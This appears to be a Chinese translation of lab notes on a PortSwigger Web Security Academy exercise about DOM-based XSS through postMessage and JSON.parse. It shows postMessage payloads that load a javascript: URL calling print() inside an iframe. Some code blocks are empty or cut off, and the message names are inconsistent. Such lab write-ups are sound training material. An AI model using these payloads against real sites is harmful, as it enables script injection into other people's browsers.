> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/dom/xss-dom-with-web-messages-and-json-parse.md).
# 使用 Web 消息和 json.parse 的 XSS DOM
使用 Web 消息和 json.parse 的 XSS DOM 笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。
### 使用 Web 消息和 JSON.parse 的 DOM XSS
本文重新表述并翻译了实验（PortSwigger）中提供的笔记：它描述了易受攻击的代码、它如何解释消息，以及用于调用的载荷 `print()` 通过一个 `iframe`.
易受攻击脚本的描述
该脚本动态创建一个 `iframe` iframe 标签，并通过接收到的 `postMessage` 事件消息进行远程控制。它可以加载 URL、调整播放器大小并将其滚动到页面中。
```javascript
```
### `postMessage` 消息示例
发送一个字符串化的 JSON 消息可让脚本解释所请求的操作。
加载一个普通 URL：
```javascript
window.postMessage(JSON.stringify({
type: "load-channel",
url: "https://jord4n.pro"
}), "*");
```
使用一个 `JavaScript：` 方案来运行代码（这里调用 `print()`):
```javascript
window.postMessage(JSON.stringify({
type: "load-channel",
url: "javascript:print()"
}), "*");
```
在运行服务器上，你可以投放一个 HTML 页面，其中包含一个 `iframe` 指向易受攻击页面的，并发送 `load-string` 消息， `URL: "JavaScript:print()"` 在加载 iframe 时。
```javascript